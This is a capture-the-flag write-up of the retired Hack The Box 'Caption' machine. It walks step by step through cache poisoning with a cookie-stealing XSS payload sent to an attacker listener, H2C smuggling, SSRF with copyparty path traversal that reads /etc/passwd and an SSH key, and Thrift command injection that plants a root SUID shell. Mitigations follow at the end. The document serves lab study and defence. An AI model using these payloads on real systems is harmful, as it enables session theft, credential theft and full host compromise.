root@kali:~$ cat hackthebox/machines/caption.md
Hack The Box — Caption
Caption chains Git history, Varnish cache poisoning, XSS, H2C smuggling, copyparty traversal and Apache Thrift command injection for root access.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Hard
- Operating system
- Linux
- Solved
- 3 Sept 2026
- Published
- 3 September 2026
Authorized-lab notice: This write-up documents the retired Hack The Box Caption machine. All commands and credentials belong to that isolated lab. User and root flags, session cookies, private keys, VPN details and unrelated personal data have been removed.
Caption was confirmed as an official retired Hack The Box machine on 3 September 2026. You can find the rest of my published lab notes in the write-ups archive.
Introduction
Caption is a strong example of why web exploitation rarely stops at one product boundary. The route to the user flag crossed GitBucket, HAProxy, Varnish, a Flask portal, an HTTP/2 cleartext tunnel and an internal copyparty instance. The privilege-escalation path then moved into a root-owned Apache Thrift service whose log parser placed attacker-controlled data inside a shell command.
This article follows my actual solve rather than presenting a shortened official route. I include the patched default-login dead end, the cache-timing issue that initially produced no callback, and the evidence that justified every pivot.
Official machine description
Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal (CVE-2023-37474). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root.
Source: Hack The Box — Caption.
Machine information
| Item | Value |
|---|---|
| Platform | Hack The Box |
| Content type | Machine |
| Difficulty | Hard |
| Operating system | Linux |
| Hostname | caption.htb |
| Publication policy | Retired |
| Solve date | 3 September 2026 |
The machine and VPN addresses were session-specific, so the commands below use <TARGET_IP> and <TUN0_IP> placeholders.
Executive summary
The public GitBucket instance exposed two repositories. A historical Caption-Portal commit disclosed credentials for margo, while the current HAProxy configuration revealed ACLs around /logs and /download. After authenticating to the portal, I poisoned a Varnish-cached /firewalls response through the unkeyed X-Forwarded-Host header. The injected XSS executed in the administrator’s browser and returned the admin session cookie. I then used h2csmuggler to tunnel through HAProxy to Varnish, reached the restricted download feature, and turned it into SSRF against copyparty on 127.0.0.1:3923. CVE-2023-37474 disclosed Margo’s ECDSA private key and provided SSH access. Finally, a root-owned Apache Thrift service interpolated a parsed user-agent value into /bin/sh -c; a crafted log created a root-owned SUID Bash copy and completed the compromise.
Attack path
| Stage | Confirmed result |
|---|---|
| Network enumeration | SSH, HAProxy/Varnish and GitBucket exposed |
| Git history review | Recovered the Caption Portal credential |
| Portal authentication | Logged in as margo |
| Cache poisoning | Stored attacker-controlled markup in /firewalls |
| XSS | Captured an administrator session cookie |
| H2C smuggling | Bypassed HAProxy restrictions for /logs and /download |
| SSRF and traversal | Reached copyparty and read files outside its share |
| Linux foothold | Stole Margo’s ECDSA key and connected over SSH |
| Thrift injection | Executed shell commands in the root service context |
| Privilege escalation | Created a root-owned SUID Bash copy and read the final flag |
1. Initial enumeration
I began with a full TCP scan and default scripts/version detection:
nmap <TARGET_IP> -T5 -sCV -p-
The useful results were:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
8080/tcp open http Jetty
|_http-title: GitBucket
Port 80 redirected to caption.htb, so I added the virtual host and verified both HTTP services:
echo '<TARGET_IP> caption.htb' | sudo tee -a /etc/hosts
curl -I http://caption.htb
curl -I http://caption.htb:8080
Port 80 disclosed the application and cache stack:
HTTP/1.1 200 OK
server: Werkzeug/3.0.1 Python/3.10.12
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
Port 8080 returned a Jetty session cookie and the GitBucket interface. The combination of an edge proxy, a cache and a separate source-code platform immediately suggested that configuration review would be as important as directory fuzzing.
2. GitBucket source review
The GitBucket dashboard exposed two public repositories without authentication:
root/Caption-Portalroot/Logservice
Patched default login
I first tried GitBucket’s historical root:root default. The instance rejected it:
Sorry, your Username and/or Password is incorrect. Please try again.
This was a useful dead end. The deployed instance had patched that route, but the repositories themselves remained readable, so brute forcing the login offered no value.
I cloned the portal repository instead:
git clone http://caption.htb:8080/git/root/Caption-Portal.git
cd Caption-Portal
git log --oneline --all
The history contained an especially relevant pair of commits:
8561d67 Fixed HAProxyBypass
0e3bafe Update access control
Inspecting the access-control change revealed a deleted HAProxy user list:
git show 0e3bafe
-userlist AuthUsers
- user margo insecure-password vFr&cS2#0!
The same commit showed that global HTTP authentication had been replaced by explicit denials for two paths:
acl restricted_page path_beg,url_dec -i /logs
acl restricted_page path_beg,url_dec -i /download
-http-request auth unless { http_auth(AuthUsers) }
+http-request deny if restricted_page
The leaked lab-only credential was still valid for the portal on port 80:
margo : vFr&cS2#0!
It did not authenticate to GitBucket or SSH. Keeping the two applications separate avoided wasting time on the wrong login form.
3. Mapping the portal and cache behavior
After logging in as Margo, /home and /firewalls were accessible, while /logs remained blocked. Source and response inspection showed that asset URLs incorporated a utm_source value derived from X-Forwarded-Host:
<script src="http://caption.htb/static/js/lib.js?utm_source=http://internal-proxy.local"></script>
The /firewalls response was also publicly cacheable:
cache-control: public, max-age=120
via: 1.1 varnish (Varnish/6.6)
This created the vulnerable combination:
X-Forwarded-Hostinfluenced HTML output.- Varnish did not include that header in the cache key.
/firewallscached an authenticated response for other visitors.- An administrator repeatedly visited the same page.
4. Varnish cache poisoning and XSS
I extracted Margo’s portal cookie in the browser and stored it locally. The real JWT is omitted:
export COOKIE='session=<MARGO_SESSION_REDACTED>'
export LHOST='<TUN0_IP>'
In a second terminal I started an HTTP listener for the browser callback:
sudo python3 -m http.server 80
The Varnish configuration supported the custom XCGFULLBAN method, which cleared the current cache:
curl -i -X XCGFULLBAN http://caption.htb/
HTTP/1.1 200 Full cache cleared
server: Varnish
I then supplied an X-Forwarded-Host value that closed the existing script element, inserted an image with an onerror handler, and reopened the expected markup:
curl -i \
-H "Cookie: $COOKIE" \
-H "X-Forwarded-Host: xss\"></script><img src=x onerror=\"location='http://$LHOST/?cookie='+document.cookie\"><script src=\"" \
http://caption.htb/firewalls
The response confirmed that the injected element had entered a cacheable object:
HTTP/1.1 200 OK
cache-control: public, max-age=120
age: 0
x-cache: MISS
<script src="http://caption.htb/static/js/lib.js?utm_source=http://xss"></script>
<img src=x onerror="location='http://<TUN0_IP>/?cookie='+document.cookie">
<script src=""></script>
Cache timing issue
My first follow-up appeared to do nothing. A later response showed age: 110 and no X-Cache marker, meaning the 120-second object was almost stale and had already received additional hits. I repeated the purge and poison sequence, then immediately requested /firewalls again to produce the first cache hit:
curl -si \
-H "Cookie: $COOKIE" \
http://caption.htb/firewalls | head -n 15
The listener received three requests from the target containing the administrator’s session JWT:
<TARGET_IP> - - "GET /?cookie=session=<ADMIN_SESSION_REDACTED> HTTP/1.1" 200 -
Decoding the JWT payload confirmed the role-bearing identity:
{"username":"admin","exp":"<REDACTED>"}
The cookie was the authorization layer needed by the backend application, but direct requests to /logs and /download were still denied at HAProxy.
5. Bypassing HAProxy with an H2C tunnel
I installed Bishop Fox’s h2csmuggler in an isolated Python environment:
cd ~/Documents/HackTheBox/Caption
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
python3 -m venv .venv
source .venv/bin/activate
pip install h2
The attack works because HAProxy forwards an HTTP/1.1 h2c upgrade to an h2c-capable backend. Once the backend switches protocols, the HTTP/2 stream becomes a tunnel that is no longer subject to the frontend’s per-request path ACLs.
With the stolen cookie redacted, I requested the restricted log page through the internal Varnish listener:
export ADMIN_COOKIE='session=<ADMIN_SESSION_REDACTED>'
python3 h2csmuggler.py \
-x http://caption.htb \
-H "Cookie: $ADMIN_COOKIE" \
http://127.0.0.1:6081/logs
The output proved both the protocol switch and the ACL bypass:
[INFO] h2c stream established successfully.
[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
via: 1.1 varnish (Varnish/6.6)
The HTML exposed four download links:
/download?url=http://127.0.0.1:3923/ssh_logs
/download?url=http://127.0.0.1:3923/fw_logs
/download?url=http://127.0.0.1:3923/zk_logs
/download?url=http://127.0.0.1:3923/hadoop_logs
The url parameter showed that /download fetched a caller-supplied URL on the server side. The destinations also disclosed a service bound to 127.0.0.1:3923.
6. SSRF to copyparty and CVE-2023-37474
Requesting the local service through /download identified it as copyparty. Vulnerable copyparty versions before 1.8.2 exposed arbitrary paths below the special .cpr route. Because the request crossed multiple decoding layers, the encoded slash had to be encoded twice: %2F became %252F.
I validated the traversal against /etc/passwd:
python3 h2csmuggler.py \
-x http://caption.htb \
-H "Cookie: $ADMIN_COOKIE" \
'http://127.0.0.1:6081/download?url=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd'
The response contained the operating-system account list:
root:x:0:0:root:/root:/bin/bash
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
After confirming Margo’s home directory, I requested the ECDSA key rather than assuming an RSA filename:
python3 h2csmuggler.py \
-x http://caption.htb \
-H "Cookie: $ADMIN_COOKIE" \
'http://127.0.0.1:6081/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa'
-----BEGIN OPENSSH PRIVATE KEY-----
[PRIVATE KEY MATERIAL REMOVED]
-----END OPENSSH PRIVATE KEY-----
I reran the request and extracted only the PEM block:
python3 h2csmuggler.py \
-x http://caption.htb \
-H "Cookie: $ADMIN_COOKIE" \
'http://127.0.0.1:6081/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa' \
2>/dev/null |
awk '/-----BEGIN OPENSSH PRIVATE KEY-----/{save=1} save; /-----END OPENSSH PRIVATE KEY-----/{exit}' \
> ../margo_key
chmod 600 ../margo_key
ssh-keygen -y -f ../margo_key >/dev/null && echo '[+] Valid SSH key'
[+] Valid SSH key
7. SSH foothold as Margo
The recovered key authenticated successfully:
ssh -i ../margo_key margo@caption.htb
Welcome to Ubuntu 22.04.4 LTS
margo@caption:~$
The home directory contained the first proof file:
ls
cat user.txt
app copyparty-sfx.py gitbucket.war logs user.txt
[USER FLAG REMOVED]
sudo -l required a password and three guesses failed. No valid sudo path was established, so I returned to the Logservice source discovered in GitBucket.
8. Reviewing the root-owned Apache Thrift service
The Go service exposed one RPC method:
service LogService {
string ReadLogFile(1: string filePath)
}
The server listened on TCP 9090, opened the caller-supplied file, extracted an IP address and the value of a JSON-like user-agent field, and built a command shaped like:
echo 'IP Address: <IP>, User-Agent: <USER_AGENT>, Timestamp: <TIME>' >> output.log
It then passed that string to /bin/sh -c. The IP regex was restrictive, but the user-agent capture accepted any characters up to the next double quote. A single quote in that field could therefore terminate the echo string and append a new command.
The service was local-only, so I copied its generated Go client to Kali and compiled it there:
cd ~/Documents/HackTheBox/Caption
scp -r -i margo_key \
margo@caption.htb:/usr/local/go/src/log_service .
cd log_service
go mod init log_service
go mod tidy
go build -o client ./log_service-remote/log_service-remote.go
file client
The build succeeded after downloading the Apache Thrift Go dependency:
go: found github.com/apache/thrift/lib/go/thrift in github.com/apache/thrift v0.24.0
client: ELF 64-bit LSB executable, x86-64 ... with debug_info, not stripped
The exact tunnel command was not preserved in the terminal captures, so this transition is reconstructed from the working client and the resulting root-owned SUID file. The required local port forward was:
ssh -i ../margo_key \
-f -N \
-L 127.0.0.1:9090:127.0.0.1:9090 \
margo@caption.htb
9. Command injection and root
On Caption, I created a log entry whose user-agent closed the quoted string, copied Bash to /tmp/rootbash, set the SUID bit and commented out the rest of the intended command:
printf '%s\n' \
"{\"user-agent\":\"'; cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; #\", \"ip\":\"1.2.3.4\"}" \
> /tmp/pwnz.log
cat /tmp/pwnz.log
{"user-agent":"'; cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; #", "ip":"1.2.3.4"}
The client then invoked the root service’s ReadLogFile method. This invocation was not preserved as a separate terminal capture, but its effect was confirmed by the root-owned file shown immediately afterward:
./client 'ReadLogFile' '/tmp/pwnz.log'
The final filesystem state confirmed execution in the privileged service context:
ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Sep 3 20:16 /tmp/rootbash
Bash normally drops mismatched effective privileges. Its -p option preserved the SUID-derived effective UID:
/tmp/rootbash -p
cd /root
ls
cat root.txt
rootbash-5.1#
go go.mod go.sum output.log root.txt server.go
[ROOT FLAG REMOVED]
The rootbash-5.1# prompt and access to /root/root.txt confirmed effective root access. After validation, the temporary SUID binary and malicious log should be removed before resetting the lab:
rm -f /tmp/rootbash /tmp/pwnz.log
What did not work
| Attempt | Result | Decision |
|---|---|---|
GitBucket root:root |
Rejected by the patched instance | Used the still-public repositories instead |
| Margo credential against GitBucket | Wrong application and trust boundary | Used it on the Caption Portal at port 80 |
| Initial cache-poison wait | No callback; cached object reached age: 110 |
Purged and repeated within the 120-second TTL |
Direct /logs access |
Blocked by HAProxy ACL | Established an h2c tunnel to the backend |
sudo -l |
No usable password or sudo rule | Audited the root-owned Thrift service |
Key takeaways
- Historical source is part of the attack surface. Deleting a password or replacing an ACL does not remove it from Git history.
- Cache keys must include every request value that changes a response. Here, an unkeyed
X-Forwarded-Hostconverted reflected markup into cross-user stored XSS. - Authentication and edge authorization are separate controls. The admin cookie satisfied Flask, while h2c smuggling bypassed HAProxy’s path checks.
- SSRF impact depends on the internal services it can reach. A download helper became arbitrary file read when chained with vulnerable copyparty.
- Private-key filenames should be enumerated rather than assumed; the useful key was
id_ecdsa, notid_rsa. - Shelling out to format logs is unnecessary and dangerous. The root service turned a regex-captured field into command injection by passing it to
/bin/sh -c. - Timing is evidence. Varnish’s
age,X-Cacheand TTL headers explained why the first XSS attempt appeared silent.
Mitigations
| Weakness | Defensive action |
|---|---|
| Credential in Git history | Rotate exposed secrets and remove them with a coordinated history rewrite |
| Public source repositories | Require authentication and apply least-privilege repository visibility |
| Untrusted forwarded headers | Accept them only from trusted reverse proxies and validate allowed host values |
| Unsafe shared cache | Do not cache authenticated responses; key on all response-varying inputs |
| H2C smuggling | Strip or reject untrusted Upgrade, Connection and HTTP2-Settings headers at the edge |
SSRF in /download |
Use a strict destination allowlist and block loopback, link-local and private ranges after resolution |
| CVE-2023-37474 | Upgrade copyparty to version 1.8.2 or later |
| Private-key disclosure | Restrict file-service scope, rotate the exposed key and use passphrases where practical |
| Thrift command injection | Write logs with native Go file APIs; never concatenate parsed data into /bin/sh -c |
| Root-owned network service | Drop privileges and bind only where necessary, with authenticated RPC access |
Tools used
- Nmap — full TCP and service enumeration
- Git — cloned GitBucket repositories and reviewed historical commits
- curl — verified headers, purged Varnish and delivered the poisoned response
- Python — isolated
h2csmugglerenvironment and HTTP callback listener - h2csmuggler — established the HTTP/2 cleartext tunnel through HAProxy
- OpenSSH — authenticated with the recovered key and forwarded port 9090
- Go — compiled the generated Apache Thrift client
- ssh-keygen — validated the extracted ECDSA private key